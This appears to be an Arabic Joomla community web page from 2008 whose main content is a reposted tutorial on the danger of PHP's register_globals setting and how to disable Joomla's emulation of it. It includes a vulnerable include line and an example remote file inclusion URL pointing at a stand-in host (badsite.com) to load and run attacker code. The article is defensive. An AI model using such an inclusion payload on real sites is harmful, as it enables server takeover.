تسجيل الدخول

اهلا زائر.






هل فقدت كلمة المرور؟
ليس لديك حساب سجل الآن
اخر تحديثWednesday 13 August 2008

المتواجدون الان

يوجد الآن 6 ضيوف يتصفحون الموقع

الاعضاء

1674 الاعضاء
10 مسجلين اليوم
40 خلال الاسبوع
215 خلال شهر
اخر عضو: زلزال

ترتيب الموقع عالميا

احصائيات جملة العرب في رتب
البداية arrow الشروحات والدروس arrow الشروحات النصية arrow ماهي الــ Register Globals
ماهي الــ Register Globals
التقييم العام: / 0
سىءممتاز 
وودي   
10/02/2008

من الاعدادات المستخدمة في الـ php يوجد اعداد يعرف بالـ register_globals.
وظيفته تكمن في التسهيل على المبرمج حيث يقوم بتعريف المتغيرات المدخلة من المستخدم بطريقتي Post و Get في النطاق العام,و هنا تكمن الخطورة , فيما يلي مثال يوضح هذا

Image


 
مثال:
لنفترض أن هناك تطبيق يسمى X وهذا التطبيق مكتوب بطريقة غير آمنة و يحتوي على السطر التالي
Code:
include  $mosConfig_absolute_path . '/components/com_X/XFile.php' );
كما هو واضح يقوم هذا السطر بادراج ملف الـ php المدعو Xfile.php في التطبيق

لنفترض أن أحدا الأشرار حاول مهاجمة هذا التطبيق باستخدام الـ url التالي
Code:
http:/ /www.example.com/components/com_x/x.php?mosConfig_absolute_path=http://www.badsite.com/bad.php
في حالة وجود الـ register_globals سيقوم الـ php مشكورا بتعريف المنغيير mosConfig_absolute_path في النطاق العام,طبعا المتغيير mosConfig_absolute_path هو اسم متغيير مستعمل من قبل و بالتالي يقوم php بتغيير قيمته الى h t t p://w w w. badsite . com/ bad . php .
و عندما يقوم جملة بتنفيذ السطر
Code:
include  $mosConfig_absolute_path . '/components/com_X/XFile.php' );
تكون نتيجة التعويض
Code:
include  http://www.badsite.com/bad.php. '/components/com_X/XFile.php' );
أي ادراج ملف PHP من موقع آخر و يتم تنفيذ الأوامر التي يحتويها على السرفر الخاص بك و في الأغلب لن تكون أوامر مسالمة



ما موقعنا نحن من هذه المشكلة:
اعدادات جملة الافتراضية تشغل أو تحاكي تشغيل register_globals لانه بالرغم من خطورته الا أن هناك تطبيقات تعتمد عليه "أظن joomlaboard  يعتمد عليه".



الحل:
فنح لوحة التحكم بجملة والذهاب الى
Site -> Global Configuration
ثم إخنتيار tab Server
وتعديل Register Globals Emulation الى OFF

 

هذا الحل سيعمل بشكل جيد اذا كنت لا تستعمل تطبيقات تعتمد على هذه الخاصية,أما اذا واجهتك مشاكل بعد تعطيل الـ RG_EMULATION فلا حل الا اعادة تشغيله مرة أخرى و ترقية التطبيقات التي حدثت بها المشاكل الى آخر اصدار "حتى تأمن شر الـ RG " أو الانتقال الى غيرها ان وجدت البدائل.



منقول من منتدى جملة الرسمي .

أضف الى المفضلة (13) | أضف الى موقعك | المشاهدة: 239 | ارسال لصديق

  أضف تعليق
الإشتراك في RSS للتعليقات

أضف تعليق
  • من فضلك اضف تعليق يتناسب مع الخبر.
  • أي اهانات أو شتم سيتم حذفها.
  • لا تنس اضافة الكود الأمني الموجود بالأسفل.
الإسم:
التعليق:



آخر تحديث ( 26/02/2008 )
 
< السابق   التالى >

تبرع لجملة العرب

ادخل المبلغ :

البحـث في الموقع

جديد الشروحات والدروس

15/03/2008
شرح فلاشي للمبتدئين في جملة 1.5 ... تنصيب جملة ... تنصيب الاضافات وغيره الكثير
23/02/2008

بسم الله الرحمن الرحيم

الان مم يتكون اي تمبليت لجمله ؟ يتكون من التالي...

21/02/2008
بسم الله الرحمن الرحيم

سنقوم بهذا الدرس باجراء التحويل للتمبليت لمجلات جمله كي يتناسب مع...
21/02/2008

شرح جديد لطريقة انشاء قسم جديد وتصنيف جديد للنسخة...

مقالات عشوائية

01/03/2008

قالب bc_luminity المميز والمعرب 

 

 

10/03/2008

قالب bicolor بلونيه الازرق والاخضر المميزين

 

 

 

18/03/2008

هل تستخدم جملة 1.5 لانشاء موقعك ؟؟؟ هل تحتاج الى البوم صور جميل مع اقسام فرعية...

22/03/2008

قالب siteground-j15-34 الطبي من مجموعة...

15/03/2008
شرح فلاشي للمبتدئين في جملة 1.5 ... تنصيب جملة ... تنصيب الاضافات وغيره الكثير

اخر التعليقات

قالب rhuk_solarflare_ii معرب
أنا ممتن لكم بهذا القالب الجميل وأرجو لكم مزيد من العطاء و...
26/08/08 21:19 المزيد...
بواسطة محمد عبد الله

تعريب قوالب جمله بشكل مبسط
تشلم جوزيت الف خير اخي والله ابداع
22/08/08 11:58 المزيد...
بواسطة لا خير في الجلوس ساكتا

قالب siteground-j15-34 الطبي
تمبلت رائع جدا أرجو أن تضعو شرح لكيفية جعله متوافقا مع نسخة ...
21/08/08 12:36 المزيد...
بواسطة صيدلانية مبدعة

قالب siteground-j15-34 الطبي
تمبلت رائع جدا أرجو أن تضعو شرح لكيفية جعله متوافقا مع نسخة ...
21/08/08 12:20 المزيد...
بواسطة صيدلانية مبدعة

البوم الصور الفلاشيwmtPic#1 ...
شكرا
21/08/08 08:21 المزيد...
بواسطة شانبوت